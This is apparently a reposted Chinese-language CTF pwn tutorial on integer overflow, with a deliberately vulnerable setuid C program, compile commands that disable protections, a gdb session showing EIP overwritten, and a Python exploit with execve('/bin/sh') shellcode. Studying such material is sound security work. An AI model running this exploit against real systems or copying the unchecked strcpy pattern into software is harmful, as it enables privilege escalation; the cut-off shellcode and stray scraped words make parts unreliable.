0x00 Preview html
Last few passage I didn't conclude some important points and a general direction of the learning route of PWN. I browser some passages and finally I found one maybe suitable and reasonable for most PWN lovers:python
0x01 Integer Overflow —— What's ?shell
Storing a value greater than maximun supported value is called integer overflow. 可是呢,這個也僅僅是overflow,不能形成代碼執行(英文真的寫不下去了。。。隨心寫了。。)。數組
首先咱們來看一下C語言的 一些類型的對應的字節大小(摘自CTF WIKI)函數
short int | 2byte(word) | 0~32767(0~0x7fff) -32768~-1(0x8000~0xffff) |
unsigned short int | 2byte(word) | 0~65535(0~0xffff) |
int | 4byte(dword) | 0~2147483647(0~0x7fffffff) -2147483648~-1(0x80000000~0xffffffff) |
unsigned int | 4byte(dword) | 0~4294967295(0~0xffffffff) |
long int | 8byte(qword) | 正: 0~0x7fffffffffffffff 負: 0x8000000000000000~0xffffffffffffffff |
unsigned long int | 8byte(qword) | 0~0xffffffffffffffff |
以後我將CTF wiki上的總結了一下以下:佈局
注意:大的範圍轉給小的範圍的數,會形成截斷,這是內存分佈結構所致使的,下面示例中會講到ui
0x02 How?url
這裏我先拿某位大神的示例,並說出個人觀點spa
示例代碼:3d
#include <stdio.h> #include <string.h> #include <stdlib.h> void store_passwd_indb(char* passwd) { } void validate_uname(char* uname) { } void validate_passwd(char* passwd) { char passwd_buf[11]; unsigned char passwd_len = strlen(passwd); /* [1] */ if(passwd_len >= 4 && passwd_len <= 8) { /* [2] */ printf("Valid Password\n"); /* [3] */ fflush(stdout); strcpy(passwd_buf,passwd); /* [4] */ } else { printf("Invalid Password\n"); /* [5] */ fflush(stdout); } store_passwd_indb(passwd_buf); /* [6] */ } int main(int argc, char* argv[]) { if(argc!=3) { printf("Usage Error: \n"); fflush(stdout); exit(-1); } validate_uname(argv[1]); validate_passwd(argv[2]); return 0; }
去除保護措施編譯:
$gcc -g -fno-stack-protector -z execstack -o vuln vuln.c
$sudo chown root vuln
$sudo chgrp root vuln
$sudo chmod +s vuln
咱們先來分析一下代碼:
前兩個函數沒什麼問題,第三個函數開始:
傳入一個字符串(大小任意)——>定義11大小數組,每一個單位爲uchar字節(共11*1byte)
——> 獲取密碼長度,可是uchar(256)
——> 經過檢測則複製密碼到數組
——> 不經過則gg
——> 主函數沒什麼問題
思考:
第一個漏洞點:uchar 的len,由於長度爲256,當大於256就會截斷,如輸入261(0001 0000 0101),截斷後(後uchar字節的數):5(0101),因此len會變爲5
第二個漏洞點:基本的棧溢出,就是複製密碼到數組
結合兩個漏洞點,由於shellcode通常是40多字節(排除任意長度大神),能存儲的地方是buf,passwd,buf長度限制,用來溢出,passwd咱們用來存儲shellcode
步驟:
一、整數溢出過檢測
二、棧溢出執行代碼
0X03 Do the Exp
反編譯程序第三個函數:
這是我64位的結果,提供借鑑,可是做者的環境是x86,顯示的可能不同,我這裏引入某大佬的調試過程:
Reading symbols from vuln...done. (gdb) b validate_passwd Breakpoint 1 at 0x804850d: file vuln.c, line 14. (gdb) r sploitfun `python -c 'print "A"*261'` Starting program: /home/jourluohua/work/test2/vuln sploitfun `python -c 'print "A"*261'` Breakpoint 1, validate_passwd ( passwd=0xbffff6b6 'A' <repeats 200 times>...) at vuln.c:14 14 unsigned char passwd_len = strlen(passwd); /* [1] */ (gdb) n //單步調試,想看看執行到了咱們認爲的關鍵的代碼沒有,很明顯這兒還不是關鍵代碼 15 if(passwd_len >= 4 && passwd_len <= 8) { /* [2] */ (gdb) n 16 printf("Valid Password\n"); /* [3] */ (gdb) p passwd_len //這兒是關鍵處了,可是若是是正確的話,passwd_len 應該是'A',極可能是程序還沒真正執行到 $1 = 5 '\005' (gdb) n Valid Password 17 fflush(stdout); (gdb) n 18 strcpy(passwd_buf,passwd); /* [4] */ (gdb) n 23 store_passwd_indb(passwd_buf); /* [6] */ (gdb) p passwd_len //好終於到了咱們想要的地方了 $2 = 65 'A' (gdb) p &passwd_len //passwd_len的地址,既然利用的是棧,咱們在意的是內存佈局 $3 = (unsigned char *) 0xbffff46f 'A' <repeats 200 times>... (gdb) p buf //手誤,沒有任何緣由 $4 = 0x0 (gdb) n 24 } (gdb) p passwd_buf //passwd_buf的值也對了 $5 = 'A' <repeats 11 times> (gdb) p &passwd_buf[0] //passwd_buf的地址也和咱們想象的同樣 $6 = 0xbffff464 'A' <repeats 200 times>... (gdb) p/x $eip //很明顯尚未被覆蓋 $7 = 0x8048578 (gdb) p/x $ebp //這個真的不是在湊字數,ebp的地址很重要 $8 = 0xbffff478 (gdb) n 0x41414141 in ?? () (gdb) p/x $eip //好,已經覆蓋了 $9 = 0x41414141 (gdb) p/x $ebp $10 = 0x41414141 (gdb)
嗯,差很少能ret咱們輸入的shellcode,沒錯我比較愚笨因此輸入了10次26字母加一個字母
堆棧結構什麼的我就直接複製粘貼了:
說明一下我我的的觀點:
一、 alignment space,對齊空間,即字節對齊,具體看http://www.javashuo.com/article/p-wblxslkw-u.html
這裏注意的是,char先定義,因此按char來算,就是在buf[8-11]和len之間填4個字節
二、RET 後面跟EBP以前說過,很少說了
shellcode:
#exp.py #!/usr/bin/env python import struct from subprocess import call arg1 = "sploitfun" #Stack address where shellcode is copied. ret_addr = 0xbffff4e0 #Spawn a shell #execve(/bin/sh) scode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\$ #endianess convertion def conv(num): return struct.pack("<I",num) #chunk + ReturnAdress + NOP's + Shellcode arg2 = "A" * 24 arg2 += conv(ret_addr); arg2 += "\x90" * 100 arg2 += scode arg2 += "C" * 108 print "Calling vulnerable program" call(["./vuln", arg1, arg2])